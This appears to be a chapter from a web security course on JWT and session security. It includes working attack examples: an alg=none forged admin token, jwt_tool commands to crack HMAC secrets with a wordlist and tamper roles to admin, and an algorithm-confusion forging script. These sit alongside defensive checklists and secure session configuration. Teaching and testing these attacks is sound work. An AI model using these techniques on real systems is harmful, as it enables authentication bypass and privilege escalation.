JWT & Session Security
๐ฅ Vibe Prompt
"Audit a JWT: decode, check for alg=none attack, brute-force weak HMAC key."
import jwt, json
# JWT structure: header.payload.signature
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoidXNlciJ9.sig"
# Decode header & payload
header_b64, payload_b64, sig_b64 = token.split(".")
# Pad for base64
def b64_decode(s):
s += "=" * (4 - len(s) % 4)
return json.loads(__import__('base64').urlsafe_b64decode(s))
print(f"Header: {b64_decode(header_b64)}")
print(f"Payload: {b64_decode(payload_b64)}")
# Attack 1: alg=none
# Change alg to "none", remove signature
none_token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ."
try:
decoded = jwt.decode(none_token, options={"verify_signature": False})
print(f"\nalg=none attack: {decoded}") # Succeeds if server accepts
except:
print("alg=none rejected (good)")
# Attack 2: Weak HMAC key
# python jwt_bruteforce.py <token> /usr/share/wordlists/rockyou.txt
JWT Security Checklist
| Issue | Risk | Fix | |-------|------|-----| | alg=none | Critical | Reject none | | Weak secret | High | 256-bit random | | Hardcoded key | High | Key rotation | | No expiry | Medium | Add exp claim | | Sensitive data | Medium | Never store secrets in payload |
Session Security
# Good
session["user_id"] = user.id
session.permanent = True
app.permanent_session_lifetime = timedelta(hours=2)
# Regenerate after login
session.clear()
session["user_id"] = user.id # Prevents session fixation
Key Points
- Understand the core concepts thoroughly
- Practice with hands-on code examples
- Apply knowledge to real-world problems
- Review and reinforce through exercises
Further Learning
- Official documentation
- Open source projects on GitHub
- Community forums and discussions
- Related courses and tutorials
JWT Attacks
JWT (JSON Web Token) is widely used for API authentication but has several attack vectors.
Common JWT Vulnerabilities
| Attack | Description | How to Test |
|--------|-------------|-------------|
| None algorithm | Set alg: none to bypass verification | Modify JWT header to {\"alg\":\"none\"} |
| Weak secret | Crack the HMAC secret key | Use jwt_tool, hashcat |
| Algorithm confusion | Use RS256 public key to verify HS256 token | Switch from RS256 to HS256 |
| Token theft | Steal JWT from storage or network | XSS, mitm, log inspection |
| Expired token reuse | Use token after expiry | Capture and replay old token |
| JWK injection | Inject your own public key | Add jwk header with attacker's key |
Testing with jwt_tool
# Install
pip install jwt_tool
# Scan a JWT for vulnerabilities
jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNqP3sV8L9P3sV8L9P3sV8L9P3sV8L9P3sV8
# Check for "none" algorithm
jwt_tool -X a token.txt
# Crack the secret
jwt_tool -C -d /usr/share/wordlists/rockyou.txt token.txt
# Tamper payload
jwt_tool -T -I -pc role -pv admin token.txt
Algorithm Confusion Attack
# If the server accepts HS256 using the RSA public key:
# 1. Get the server's RSA public key (often at /jwks.json or /.well-known/jwks)
# 2. Convert to HMAC format
# 3. Sign a forged token with the public key as the HMAC secret
import jwt
# Get public key from server
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# Forge token using HS256 with public key as secret
forged_token = jwt.encode(
{"sub": "admin", "role": "admin"},
public_key,
algorithm="HS256"
)
print(f"Forged token: {forged_token}")
Session Security
Session Attacks
| Attack | Description | Prevention | |--------|-------------|------------| | Session fixation | Attacker sets victim's session ID | Regenerate session ID after login | | Session hijacking | Steal session cookie | HttpOnly, Secure, SameSite flags | | Session prediction | Guess valid session IDs | Use crypto-random session IDs | | Concurrent sessions | No limit on simultaneous logins | Limit sessions per user |
Secure Session Configuration
// Express.js secure session
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET,
name: '__Host-session', // Prefix restricts to secure context
cookie: {
httpOnly: true, // Not accessible via JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // Prevent CSRF
maxAge: 24 * 60 * 60 * 1000 // 24 hours
},
resave: false,
saveUninitialized: false,
}));
// Regenerate session after login
app.post('/login', async (req, res) => {
const user = await authenticate(req.body);
// Regenerate session to prevent fixation
req.session.regenerate((err) => {
if (err) return res.status(500).json({ error: 'Session error' });
req.session.userId = user.id;
req.session.role = user.role;
res.json({ message: 'Logged in' });
});
});
Summary
JWT attacks exploit every layer of the authentication chain โ from algorithm confusion to brute-forced secrets โ while session attacks target the cookie storage layer. Defending against both requires a layered approach.
Key takeaways:
- JWT attacks: none algorithm, weak secret brute force, algorithm confusion, JWK injection โ test them all
- Algorithm confusion: trick the server into using HS256 with the RSA public key as the HMAC secret
- Always whitelist accepted algorithms โ never allow
"alg": "none"and never accept both symmetric and asymmetric - Use RS256 (asymmetric) in production: the private key stays with the auth server, the public key can be shared
- Session attacks: fixation, hijacking, prediction โ prevent with
regenerate(),httpOnly,Secure,SameSite=strict - Session regeneration after every login/login-level change prevents fixation attacks
- Cookie flags checklist:
httpOnly: true(no JS access),secure: true(HTTPS only),sameSite: 'strict'(no cross-site sending) - JWK injection: always validate the
jwkheader against a trusted keyset โ never accept arbitrary keys from the token
What Is Next: Full API Pentest Walkthrough
Now that you understand the individual attacks โ SQL injection, NoSQL injection, JWT vulnerabilities, and session security โ the next chapter ties everything together into a complete API penetration test. You will learn how to chain these vulnerabilities for maximum impact, how to write a professional pentest report, and how to present findings to stakeholders.